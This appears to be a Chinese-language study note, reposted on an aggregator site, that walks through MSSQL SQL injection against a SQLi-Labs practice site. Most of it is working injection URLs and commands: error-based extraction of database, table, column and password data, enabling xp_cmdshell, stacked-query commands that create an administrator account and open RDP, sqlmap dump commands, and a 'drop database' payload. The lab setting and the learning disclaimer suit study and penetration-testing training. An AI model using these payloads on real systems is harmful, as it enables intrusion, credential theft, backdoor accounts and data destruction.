【SQL注入】之MSSQL注入
(本文僅為平時學習記錄,若有錯誤請大佬指出,如果本文能幫到你那我也是很開心啦)
該筆記參考網絡中的文章,本文僅為了學習交流,嚴禁非法使用!!!
一、MSSQL手工注入
測試使用Windows Server 2008 R2 中使用IIS搭建的MSSQL-SQLi-Labs站點的第一關(該站點可在Github中找到)
攻擊者:Windows 10系統(宿主機)
靶機:Windows Server 2008 R2(虛擬機)
1.判斷注入點:
http://IP:PORT/less-1.asp?id='
根據回顯可知數據類型為字符型
http://IP:PORT/less-1.asp?id=1'--
正常執行
2.判斷數據庫類型
1 select * from sysobjects 2 sysobjects:MSSQL數據庫特有的數據表,系統對象表,保存當前數據庫的對象 3 select * from users where id=1 and exists(select * from sysobjects) 4 Exists():子語句查詢,Exists方法返回一個布爾值,該布爾值指示在 Dictionary 對象中是否存在指定的 key,如果存在,返回 true,否則返回 false
http://IP:PORT/less-1.asp?id=5' and exists(select * from sysobjects)--
正常執行,說明后臺數據庫是MSSQL
其他方法判斷數據庫:常用框架組合方法ASP+MSSQL、頁面報錯信息
3.注入點權限的判斷(根據頁面顯示效果)
1 select is_srvrolemember('sysadmin'); 判斷當前是否為sa
2 select is_srvrolemember('db_owner'); 判斷當前用戶寫文件、讀文件的權限(db_owner)
3 select is_srvrolemember('public'); 判斷是否有public權限,可以爆破表
以上正確執行后返回值都為1
判斷當前是否為sa
1 http://IP:PORT/less-1.asp?id=5' and exists(select is_srvrolemember('sysadmin'))--
2 或http://IP:PORT/less-1.asp?id=5' and (select is_srvrolemember('sysadmin'))>0--
判斷當前用戶寫文件、讀文件的權限
http://IP:PORT/less-1.asp?id=5' and (select is_srvrolemember('db_owner'))>0--
4.信息收集
查看當前數據庫
1 select db_name(N) 表示當前數據庫,其中的參數表示第N個數據庫,從0開始 2 http://IP:PORT/less-1.asp?id=5' and (select db_name())>0-- 3 或http://IP:PORT/less-1.asp?id=5' and (convert(int,db_name()))>0-- 4 convert轉換,將db_name()的數據類型轉換為int型
查看所有數據庫
方法1:
http://IP:PORT/less-1.asp?id=5' and (convert(int,db_name(N)))>0--//變換N的值就可以爆出所有數據庫的名稱
方法2:
1 SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','aspcms');
2 Master系統數據庫
3 SELECT top 1 Name FROM Master..SysDatabases 在系統數據庫中能夠查詢所有的數據庫
4 where name not in ('master','aspcms') 表示查詢的結果不在括號中的集合里
5 http://IP:PORT/less-1.asp?id=5' and (SELECT top 1 Name FROM Master..SysDatabases)>0--
http://IP:PORT/less-1.asp?id=5' and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0-- 可依次添加每次爆出的數據就可以報錯所有數據庫
查看數據庫版本
1 select @@version 2 http://IP:PORT/less-1.asp?id=5' and (select @@version)>0-- 3 或http://IP:PORT/less-1.asp?id=5' and (select @@version)=1--
查看當前用戶
1 user 2 http://IP:PORT/less-1.asp?id=5' and (user)>0--
這里的用戶dbo就等于databaseown,即sa用戶
5.當前數據庫中的表
1 select top 1 name from 當前數據庫.sys.all_objects where type='U' AND is_ms_shipped=0 2 select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0 獲取第一個表名 3 http://IP:PORT/less-1.asp?id=5' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0)>0--
1 select top 1 name from aspcms.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails','uagents')
2 http://IP:PORT/less-1.asp?id=5' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails'))>0--
6.獲取指定表中的字段名
1 select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' 2 http://IP:PORT/less-1.asp?id=5' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users')>0--
1 select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username')
2 http://IP:PORT/less-1.asp?id=5' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username'))>0--
7.獲取字段數據
1 select top 1 username from users 2 http://IP:PORT/less-1.asp?id=5' and (select top 1 username from users)>0--
http://IP:PORT/less-1.asp?id=5' and (select top 1 password from users)>0--
8.解密數據,登錄后臺
二、使用MSSQL的xp_cmdshell擴展
xp_cmdshell 擴展:存儲過程將命令字符串作為操作系統命令 shell 執行,并以文本行的形式返回所有輸出
1.判斷當前MSSQL數據庫有沒有xp_cmdshell擴展,返回值為1,表示有擴展
select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'
2.測試是否可執行系統命令
1 exec master..xp_cmdshell 'net user' 2 exec master.dbo.xp_cmdshell 'net user' 3 exec表示要執行系統命令
上圖顯示的錯誤解決方法:
執行以下語句
1 EXEC sp_configure 'show advanced options', 1; 2 RECONFIGURE; 3 EXEC sp_configure 'xp_cmdshell', 1; 4 RECONFIGURE;
代碼功能:
|
EXEC sp_configure 'show advanced options' , 1 sp_configure 是修改系統配置的存儲過程,當設置 show advanced options 參數為 1 時,才允許修改系統配置中的某些高級選相!!系統中這些高級選項默認是不允許修改的!('xp_cmdshell' 是高級選項參數之一! ) RECONFIGURE 提交第一步操作并更新使用 sp_configure 系統存儲過程更改的配置選項的當前配置 EXEC sp_configure 'xp_cmdshell' ,1 執行系統存儲過程 修改 高級選項 參數'xp_cmdshell' 等于1,這個參數等于1 表示允許sqlserver 調用數據庫之外的操作系統命令 RECONFIGURE 提交更新第三步的操作 |
代碼成功執行
三、利用MSSQL的xp_cmdshell擴展獲取服務器權限
1.判斷當前MSSQL數據庫有沒有xp_cmdshell擴展
1 http://IP:PORT/less-1.asp?id=5' and (select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')>0--
2.利用xp_cmdshell擴展執行系統命令
1 exec master..xp_cmdshell 'net user' exec需要獨立使用,利用堆疊注入 2 http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'net user'--
命令執行之后在瀏覽器中是沒有正常回顯的,這里只要沒有報錯,就說明命令執行成功,如果想看到執行命令之后的結果,需要創建一個臨時表,將執行結果寫入,最后再讀
3.創建一個新用戶kiko
http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'net user kiko 密碼 /add'--
進入靶機系統中,查看創建用戶是否成功
4.將用戶kiko添加到管理員組中
http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'net localgroup administrators kiko /add'--
進入靶機中,命令執行成功
5.開啟靶機3389端口
http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f'--
6.啟動遠程桌面連接,過程如下:
連接成功!
四、使用SQLMAP對MSSQL注入漏洞進行利用
測試使用MSSQL-SQLi-Labs站點的第二關
1.檢測注入點
1 sqlmap.py -u "http://IP:PORT/less-2.asp?id=1" 2 --drop-set-cookie 忽略響應的Set – Cookie頭信息
翻譯:
|
you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDACCBASBD=DONJPCHBLHK...DHGDOIMHLL'). Do you want to use those [Y/n] y 您尚未聲明cookie,而服務器希望設置自己的cookie('aspsessionidaccbasbd=donjpchblhk…dhgdoimhl')。你想用那些嗎 are you sure that you want to continue with further target testing? [Y/n] y 是否確實要繼續進行進一步的目標測試?[是/否]是 it looks like the back-end DBMS is 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y 看起來后端DBMS是“Microsoft SQL Server”。是否要跳過特定于其他dbms的測試有效負載?[是/否]是 for the remaining tests, do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n] y 對于其余的測試,是否要包括對擴展提供的級別(1)和風險(1)值的“Microsoft SQL Server”的所有測試[是/否]是 GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y 獲取參數“id”易受攻擊。你想繼續測試其他的(如果有的話)嗎?[是/否]是 |
2.獲取數據庫所有信息
sqlmap.py -u "http://IP:PORT/less-2.asp?id=1" --dbms mssql --dump 將數據庫里所有的數據全部顯示
翻譯:
|
[00:27:45] [WARNING] in case of table dumping problems (e.g. column entry order) you are advised to rerun with '--force-pivoting' [00:27:45][WARNING]如果出現表轉儲問題(例如列輸入順序),建議您使用“--force pivoting”重新運行 |
根據回顯得知出現表轉儲問題,所以數據表users中顯示數據為空
根據提示在命令后加入--force pivoting
sqlmap.py -u "http://IP:PORT/less-2.asp?id=1" --dbms mssql --dump --force-pivoting
五、利用SQLMAP進行內聯注入
1.內聯注入:向查詢注入一些SQL代碼后,原來的查詢仍然會全部執行
1 select id from (select 1 as id)a; 2 select * from T1,T3 where T1.userid=T3.userid
2.利用過程:
使用SQLMAP進行注入點檢測時,結果顯示可以使用內聯注入(inline query),并給了Payload
利用所給Payload進行注入
http://IP:PORT/less-2.asp?id=(select char(113)+char(113)+char(112)+char(112)+char(113)+(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113))
在MSSQL中執行該Payload
select char(113)+char(113)+char(112)+char(112)+char(113) +(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113)
在MySQL中執行該Payload
select char(113)+char(113)+char(112)+char(112)+char(113) +(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113);
select * from dvwa.users where user_id=1 and (select char(113)+char(113)+char(112)+char(112)+char(113) +(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113));
六、利用SQLMAP進行堆疊注入
1.堆疊注入:將一堆SQL語句疊加在一起執行,使用分號結束上一個語句再疊加其他語句一起執行
select * from news;select 1,2,3,4,user(),version();
2.利用過程:
使用SQLMAP進行注入點檢測時,結果顯示可以使用堆疊注入(stacked queries),并給了Payload
利用所給Payload進行注入
http://IP:PORT/less-2.asp?id=1 WAITFOR DELAY '0:0:5'
慎用如下所示命令
http://IP:PORT/less-2.asp?id=1;drop database 數據庫名 刪除數據庫
總結
以上是生活随笔為你收集整理的【SQL注入】之MSSQL注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 智己 LS6 车型订单突破 1.3 万台
- 下一篇: 黄油变质吃了有什么危害 黄油坏了主要体现